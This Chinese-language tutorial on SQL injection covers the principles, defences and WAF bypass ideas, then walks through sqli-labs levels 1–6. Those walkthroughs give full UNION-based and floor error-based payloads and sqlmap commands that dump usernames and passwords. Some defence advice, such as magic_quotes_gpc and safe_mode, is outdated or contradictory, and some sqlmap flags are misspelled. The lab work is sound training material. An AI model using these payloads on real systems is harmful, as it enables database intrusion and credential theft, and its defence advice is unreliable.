目录
一、SQL注入
1. SQL注入原理
-
SQL注入是一种常见的网络攻击手段,通过在应用程序的输入数据中插入恶意的SQL代码,从而操纵数据库执行未经授权的操作。
-
SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
-
SQL注入式攻击的主要形式有两种:
一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法
二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“--”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。
注入类型
2. SQL注入常用函数及含义
-
SELECT \*
: 这是一个基本的查询,用于获取表中的所有数据。攻击者可能会利用这个来查看表结构或获取所有记录。 -
UNION ALL
或UNION
: 用于合并两个或更多的查询结果集。攻击者可以添加额外的行来覆盖或者混淆原始结果,达到提取数据的目的。 -
ORDER BY
: 改变排序条件,如果结合了特定列名,可以用来筛选出特定的数据。 -
LIMIT
: 控制返回的结果数,攻击者可能会设置它来获取较小范围内的数据,然后逐个测试。 -
BETWEEN
或IN
: 用于指定范围,攻击者可以设置非法范围来绕过过滤或访问未授权的数据。 -
LIKE
: 用于模式匹配,如'%username%'
可能导致注入攻击,因为攻击者可以用通配符进行任意字符串匹配。 -
CONCAT()
或+:
结合操作符,可用于拼接用户提供的值与其他字段,形成潜在的恶意SQL命令。 -
EXISTS
: 判断是否存在满足某个条件的记录,攻击者可以通过这种方式间接地执行SQL操作。 -
DELETE
或UPDATE
: 删除或修改数据,允许攻击者破坏数据库。
3. SQL注入防御手段
-
过滤掉一些常见的数据库操作关键字:select,insert,update,delete,and,*等 或者通过系统函数:addslashes(需要被过滤的内容)来进行过滤
-
在PHP配置文件中Register_globals=off;设置为关闭状态 //作用将注册全局变量关闭。 比如:接收POST表单的值使用_POST['user'],如果将register_globals=on;直接使用user可以接收表单的值。
-
SQL语句书写的时候尽量不要省略小引号(tab键上面那个)和单引号
-
提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的
-
对于常用的方法加以封装,避免直接暴漏SQL语句
-
开启PHP安全模式Safe_mode=on;
-
打开magic_quotes_gpc来防止SQL注入Magic_quotes_gpc=off;默认是关闭的,它打开后将自动把用户提交的sql语句的查询进行转换,把'转为',这对防止sql注入有重大作用。 因此开启:magic_quotes_gpc=on;
-
控制错误信息,关闭错误提示信息,将错误信息写到系统日志。
-
使用mysqli或pdo预处理。
4. SQL注入常用绕过waf的方法
-
编码伪装,利用特殊字符编码方式绕过WAF的检测。
-
转义字符伪装,使用转义字符来隐藏恶意SQL语句。
-
随机数混淆,在注入语句中加入随机数,使其不被WAF检测到。
-
大小写伪装,通过大小写混合来伪装关键词。
-
双写伪装,将关键词双写,WAF识别为普通字符。
-
内联注释伪装,将恶意SQL代码隐藏在注释中,不被防火墙检测到。
-
协议层面绕过,利用WAF解析协议的问题。
-
规则缺陷/特性角度绕过,如空白符替换绕过
二、sqli-labs通关前5关
前5关均采用手工注入,未使用sqlmap
level 1
进入关卡先判断是否存在sql注入。先输入?id =1 and 1=1,再换成and 1=2,发现没有变化,考虑是为字符型而非整形。用 ’进行测试,发现页面报错,出现如下显示,证明可以进行SQL注入。
又因为该页面存在回显,所以我们可以使用联合查询。 (联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。)
联合注入步骤如下:
1)查询字段数,即表格列数。3没报错,4报错,说明字段数为3。
?id=1'order by 3 --+
2)查询显示位。
这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1。
?id=-1' union select 1,2,3--+
所以2,3是回显的位置。
3)查看数据库信息:
?id=-1' union select 1,version(),database()--+
由结果知当前数据库是security,版本是5.7.26。
4)查看所有数据库:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
5)查询security内的所有表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
6) 查看users里的字段:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where columns.table_name='users'),3--+
7)通过上面的操作,我们从information_schema中得到了当前数据库security中存在的表和部分字段,接下来去security数据库查询所有的用户名和密码:
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
level 2
和第一关一样,先进行判断。单引号测试报错,注入 ?id=1 and 1=1未报错,换 and 1=2 报错,所以判断可进行数字型sql注入。
后面步骤和第一题类似。但由于这个是数字型,所以闭合的时候不用加单引号,其余与Less-1一样。
level 3
第三题,先对代码进行注入?id=1' ,发现报错。
所以用?id=1′) --+代码进行注入,发现可以成功的获得用户名和密码。
payload变成如下:
?id=-1") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
level 4
这里我们输入' '' ') '') 等等都不对,然后尝试 ",注意这里是双引号,不是两个单引号,页面错误
可知存在"" 和 ) 的包装,于是注入 ?id=1") and 1=2 --+,其他与前面关卡一样。
level 5
单引号判断,报错:
输入:?id=1,页面显示如下:
尝试发现输入不同的数字页面一样,并且无回显。那么可以选择布尔盲注,也可以直接报错注入。
这里我选择通过floor报错注入:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
其中payload为要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。
1)查版本、数据库、用户:
?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2)爆表名:
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
3)爆字段:
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
4)查username:
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select count(username) from users)))--+
由结果知,有13个用户,一次输出一行,那么可用limit挨个遍历。
查第一个用户账户:
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+
修改limit 的值,得到第二个用户账户,以此类推可得其他用户。
?id=1' and (select count(*)from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 1,1)))--+
三、总结SQLi的手工注入的步骤
1. 判断有无注入点
-
输入测试:在应用程序的输入字段(如URL参数、表单输入等)中尝试输入特殊字符(如单引号
'
、双引号"
、注释符--
等),观察应用程序的反应。 -
逻辑判断:使用
and 1=1
和and 1=2
等逻辑判断语句,观察应用程序返回的结果是否发生变化。如果变化,则可能存在注入点。
2. 猜解列名数量
-
使用
ORDER BY
语句:通过逐渐增加ORDER BY
子句中的数字,观察应用程序何时报错。报错通常意味着尝试排序的列数超过了实际存在的列数。 -
目的:确定目标表中有多少列,以便在后续的联合查询(UNION SELECT)中构造正确的查询语句。
3. 判断数据回显点
-
利用
UNION SELECT
:在确认列数后,使用UNION SELECT
语句将自定义的查询结果与原查询结果合并。通过构造适当的查询,使UNION SELECT
前的查询无效(如使用不存在的表或条件),从而只显示UNION SELECT
后的查询结果。 -
观察回显:观察应用程序的响应,确定哪些位置会回显自定义查询的结果。这些位置就是数据回显点。
4. 信息收集
-
查询数据库信息:利用回显点,通过构造特定的查询语句来收集数据库的信息,如数据库版本(
@@version
)、当前数据库名(DATABASE()
)、数据库用户(USER()
)等。 -
查询表名和列名:利用
information_schema
数据库中的tables
和columns
表,可以查询出目标数据库中所有表名和列名。
5. 提取敏感数据
-
构造查询语句:在知道表名和列名后,可以构造查询语句来提取敏感数据,如用户账号、密码等。
-
使用聚合函数:如果表中的数据量很大,可以使用
GROUP_CONCAT()
等聚合函数将多个结果合并为一个字符串返回。
四、使用sqlmap通过第六关
1.检测注入点
首先使用sqlmap来检测是否存在SQL注入点。打开终端或命令提示符,输入以下命令:
python sqlmap.py -u "http://sqli-labs/Less-6/?id=1"
住:--batch参数用于自动执行sqlmap的默认行为,无需用户交互
2.列出所有数据库 检测到注入点之后,可以列出服务器上的所有数据库:
python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" --dbs
3.选择并列出数据库中的表 若是知道目标数据库的名称(security),可以列出该数据库中的所有表:
python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security --tables
4.选择表并列出字段 列出users表中的所有字段。使用以下命令:
python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security -T users --column
5.导出数据 最后,可以导出users表中的username和password字段中的数据,可以使用以下命令:
python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security -T users --dum